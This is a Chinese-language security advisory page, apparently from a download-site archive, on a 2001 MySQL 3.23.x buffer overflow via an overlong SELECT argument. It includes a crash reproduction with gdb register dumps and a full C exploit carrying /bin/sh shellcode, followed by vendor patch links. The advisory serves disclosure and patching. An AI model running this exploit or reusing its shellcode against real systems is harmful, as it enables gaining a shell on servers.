⭐ 欢迎来到虫虫下载站！ | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站
📤 上传资源

📄 mysql实例-4.htm

📁 微软数据库开发梦工场多媒体教学-My sql篇.rar
💻 HTM
字号:
🔍 
<body bgcolor="#000000"><p><font color="#009900"><B>mysql远程缓冲区溢出漏洞</B></font></p>
<p><font color="#FFFFFF">受影响的系统: <BR>
  T.C.X DataKonsult MySQL 3.23.30 <BR>
  T.C.X DataKonsult MySQL 3.23.29 <BR>
  T.C.X DataKonsult MySQL 3.23.28 <BR>
  T.C.X DataKonsult MySQL 3.23.27 <BR>
  T.C.X DataKonsult MySQL 3.23.26 <BR>
  T.C.X DataKonsult MySQL 3.23.25 <BR>
  T.C.X DataKonsult MySQL 3.23.24 <BR>
  T.C.X DataKonsult MySQL 3.23.23 <BR>
  不受影响系统: <BR>
  T.C.X DataKonsult MySQL 3.23.31 <BR>
  描述: <BR>
  -------------------------------------------------------------------------------- 
  <BR>
  <BR>
  <BR>
  BUGTRAQ ID ：2262 <BR>
  <BR>
  MySQL是一个开放源代码的自由数据库软件。3.23.31以前的版本都存在一个缓冲区 <BR>
  溢出漏洞。 <BR>
  <BR>
  通过使用一个特别长的字符串作为SELECT语句的参数，可能导致mysqld发生缓冲区 <BR>
  溢出。堆栈中的数据可能被覆盖或修改，攻击者可能远程获取mysqld的运行权限或 <BR>
  使mysqld数据库崩溃。 <BR>
  <BR>
  &lt;*来源：Joao Gouveia （tharbad@kaotik.org） *&gt; <BR>
  <BR>
  <BR>
  测试程序： <BR>
  -------------------------------------------------------------------------------- 
  <BR>
  <BR>
  警 告 <BR>
  <BR>
  以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！ <BR>
  <BR>
  <BR>
  <BR>
  Joao Gouveia提供了下列测试步骤： <BR>
  <BR>
  &gt; On one terminal: <BR>
  &gt; &lt;quote&gt; <BR>
  &gt; spike:/var/mysql # /sbin/init.d/mysql start <BR>
  &gt; Starting service MySQL. <BR>
  &gt; Starting mysqld daemon with databases from /var/mysql <BR>
  &gt; done <BR>
  &gt; spike:/var/mysql # <BR>
  &gt;&lt;/quote&gt; <BR>
  &gt; <BR>
  &gt; On the other terminal: <BR>
  &gt; &lt;quote&gt; <BR>
  &gt; jroberto@spike:~ &gt; mysql -p -e 'select a.'`perl -e'printf("A"x130)'`'.b' 
  <BR>
  &gt; Enter password: <BR>
  &gt; (hanged..^C) <BR>
  &gt; &lt;/quote&gt; <BR>
  &gt; <BR>
  &gt; On the first terminal i got: <BR>
  &gt; &lt;quote&gt; <BR>
  &gt; spike:/var/mysql # /usr/bin/safe_mysqld: line 149: 15557 Segmentation fault 
  <BR>
  &gt; nohup <BR>
  &gt; $ledir/mysqld --basedir=$MY_BASEDIR_VERSION --datadir=$DATADIR --skip-lockin 
  <BR>
  &gt; g "$@" &gt;&gt;$err_log 2&gt;&amp;1&gt; <BR>
  &gt; Number of processes running now: 0 <BR>
  &gt; mysqld restarted on Fri Jan 12 07:10:54 WET 2001 <BR>
  &gt; mysqld daemon ended <BR>
  &gt; &lt;/quote&gt; <BR>
  &gt; <BR>
  &gt; gdb shows the following: <BR>
  &gt; &lt;quote&gt; <BR>
  &gt; (gdb) run <BR>
  &gt; Starting program: /usr/sbin/mysqld <BR>
  &gt; [New Thread 16897 (manager thread)] <BR>
  &gt; [New Thread 16891 (initial thread)] <BR>
  &gt; [New Thread 16898] <BR>
  &gt; /usr/sbin/mysqld: ready for connections <BR>
  &gt; [New Thread 16916] <BR>
  &gt; [Switching to Thread 16916] <BR>
  &gt; <BR>
  &gt; Program received signal SIGSEGV, Segmentation fault. <BR>
  &gt; 0x41414141 in ?? () <BR>
  &gt; (gdb) info all-registers <BR>
  &gt; eax 0x1 1 <BR>
  &gt; ecx 0x68 104 <BR>
  &gt; edx 0x8166947 135686471 <BR>
  &gt; ebx 0x41414141 1094795585 <BR>
  &gt; esp 0xbf5ff408 0xbf5ff408 <BR>
  &gt; ebp 0x41414141 0x41414141 <BR>
  &gt; esi 0x41414141 1094795585 <BR>
  &gt; edi 0x0 0 <BR>
  &gt; eip 0x41414141 0x41414141 <BR>
  &gt; eflags 0x10246 66118 <BR>
  &gt; cs 0x23 35 <BR>
  &gt; ss 0x2b 43 <BR>
  &gt; ds 0x2b 43 <BR>
  &gt; es 0x2b 43 <BR>
  &gt; fs 0x0 0 <BR>
  &gt; gs 0x0 0 <BR>
  &gt; (gdb) <BR>
  &gt; &lt;/quote&gt; <BR>
  <BR>
  Luis Miguel Silva [aka wC]（lms@ispgaya.pt)提供了一个测试程序： <BR>
  <BR>
  #include &lt;stdio.h&gt; <BR>
  <BR>
  #define DEFAULT_OFFSET 0 <BR>
  #define DEFAULT_BUFFER_SIZE 130 <BR>
  #define NOP 0x90 <BR>
  <BR>
  // Our EVIL code... <BR>
  char shellcode[] = <BR>
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" <BR>
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" <BR>
  "\x80\xe8\xdc\xff\xff\xff/bin/sh"; <BR>
  <BR>
  unsigned <BR>
  long get_sp(void) { <BR>
  __asm__("movl %esp,%eax"); <BR>
  } <BR>
  <BR>
  // Where it all happens... <BR>
  main(int argc, char *argv[]) <BR>
  { <BR>
  char *buffer, *ptr, tmp[1500]; <BR>
  long *addr_ptr, addr; <BR>
  int i,bsize=DEFAULT_BUFFER_SIZE,offset=DEFAULT_OFFSET; <BR>
  <BR>
  printf("\nMySQL [al versions &lt; 3.23.31] Local Exploit by <BR>
  lms@ispgaya.pt\n\n"); <BR>
  if (argc==2) offset=atoi(argv[1]); <BR>
  else <BR>
  printf("Happy toughts: Did you know you can pass a offset as argv[1]? :]\n"); 
  <BR>
  <BR>
  printf("Trying to allocate memory for buffer (%d bytes)...",bsize); <BR>
  if (!(buffer = malloc(bsize))) { <BR>
  printf("ERROR!\n"); <BR>
  printf("Couldn't allocate memory...\n"); <BR>
  printf("Exiting...\n"); <BR>
  exit(0); <BR>
  } <BR>
  printf("SUCCESS!\n"); <BR>
  addr=get_sp()-offset; <BR>
  printf("Using address : 0x%x\n", addr); <BR>
  printf("Offset : %d\n",offset); <BR>
  printf("Buffer Size : %d\n",bsize); <BR>
  ptr=buffer; <BR>
  addr_ptr=(long *) ptr; <BR>
  for (i=0;i&lt;bsize;i+=4) *(addr_ptr++)=addr; <BR>
  for (i=0;i&lt;bsize/2;i++) buffer[i]=NOP; <BR>
  ptr=buffer+((bsize/2)-(strlen(shellcode)/2)); <BR>
  for (i=0;i&lt;strlen(shellcode);i++) *(ptr++)=shellcode[i]; <BR>
  buffer[bsize-1]='\0'; <BR>
  snprintf(tmp,sizeof(tmp),"mysql -p -e 'select a.'%s'.b'",buffer); <BR>
  printf("Oh k...i have the evil'buffer right here :P\n"); <BR>
  printf("So...[if all went well], prepare to be r00t...\n"); <BR>
  system(tmp); <BR>
  } <BR>
  <BR>
  <BR>
  -------------------------------------------------------------------------------- 
  <BR>
  建议: <BR>
  <BR>
  厂商补丁： <BR>
  <BR>
  NSFOCUS建议您立即升级到MySQL 3.23.31以上版本，它已经解决了这一问题。 <BR>
  厂商地址：http://www.mysql.com/ <BR>
  <BR>
  很多Linux厂商也提供了升级软件包： <BR>
  <BR>
  【redhat】 <BR>
  <BR>
  Red Hat Linux 7.0: <BR>
  <BR>
  SRPMS: <BR>
  http://updates.redhat.com/7.0/SRPMS/mysql-3.23.32-1.7.src.rpm <BR>
  http://updates.redhat.com/7.0/SRPMS/mysqlclient9-3.23.22-3.src.rpm <BR>
  <BR>
  alpha: <BR>
  http://updates.redhat.com/7.0/alpha/mysql-3.23.32-1.7.alpha.rpm <BR>
  http://updates.redhat.com/7.0/alpha/mysql-devel-3.23.32-1.7.alpha.rpm <BR>
  http://updates.redhat.com/7.0/alpha/mysql-server-3.23.32-1.7.alpha.rpm <BR>
  http://updates.redhat.com/7.0/alpha/mysqlclient9-3.23.22-3.alpha.rpm <BR>
  <BR>
  i386: <BR>
  http://updates.redhat.com/7.0/i386/mysql-3.23.32-1.7.i386.rpm <BR>
  http://updates.redhat.com/7.0/i386/mysql-devel-3.23.32-1.7.i386.rpm <BR>
  http://updates.redhat.com/7.0/i386/mysql-server-3.23.32-1.7.i386.rpm <BR>
  http://updates.redhat.com/7.0/i386/mysqlclient9-3.23.22-3.i386.rpm <BR>
  <BR>
  【debian】 <BR>
  <BR>
  Debian GNU/Linux 2.2 alias potato <BR>
  - ------------------------------------ <BR>
  <BR>
  Source archives: <BR>
  <BR>
  http://security.debian.org/dists/stable/updates/main/source/mysql_3.22.32-4.diff.gz 
  <BR>
  http://security.debian.org/dists/stable/updates/main/source/mysql_3.22.32-4.dsc 
  <BR>
  http://security.debian.org/dists/stable/updates/main/source/mysql_3.22.32.orig.tar.gz 
  <BR>
  <BR>
  Architecture independent: <BR>
  <BR>
  http://security.debian.org/dists/stable/updates/main/binary-all/mysql-doc_3.22.32-4_all.deb 
  <BR>
  <BR>
  Intel ia32 architecture: <BR>
  <BR>
  http://security.debian.org/dists/stable/updates/main/binary-i386/mysql-client_3.22.32-4_i386.deb 
  <BR>
  http://security.debian.org/dists/stable/updates/main/binary-i386/mysql-server_3.22.32-4_i386.deb 
  <BR>
  <BR>
  Motorola 680x0 architecture: <BR>
  <BR>
  http://security.debian.org/dists/stable/updates/main/binary-m68k/mysql-client_3.22.32-4_m68k.deb 
  <BR>
  http://security.debian.org/dists/stable/updates/main/binary-m68k/mysql-server_3.22.32-4_m68k.deb 
  <BR>
  <BR>
  Sun Sparc architecture: <BR>
  <BR>
  http://security.debian.org/dists/stable/updates/main/binary-sparc/mysql-client_3.22.32-4_sparc.deb 
  <BR>
  http://security.debian.org/dists/stable/updates/main/binary-sparc/mysql-server_3.22.32-4_sparc.deb 
  <BR>
  <BR>
  Alpha architecture: <BR>
  <BR>
  http://security.debian.org/dists/stable/updates/main/binary-alpha/mysql-client_3.22.32-4_alpha.deb 
  <BR>
  http://security.debian.org/dists/stable/updates/main/binary-alpha/mysql-server_3.22.32-4_alpha.deb 
  <BR>
  <BR>
  PowerPC architecture: <BR>
  <BR>
  http://security.debian.org/dists/stable/updates/main/binary-powerpc/php4-mysql_4.0.3pl1-0potato1_powerpc.deb 
  <BR>
  http://security.debian.org/dists/stable/updates/main/binary-powerpc/mysql-server_3.22.32-4_powerpc.deb 
  <BR>
  <BR>
  ARM architecture: <BR>
  <BR>
  http://security.debian.org/dists/stable/updates/main/binary-arm/mysql-server_3.22.32-4_arm.deb 
  <BR>
  http://security.debian.org/dists/stable/updates/main/binary-all/mysql-doc_3.22.32-4_all.deb 
  <BR>
  <BR>
  </font></p>

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -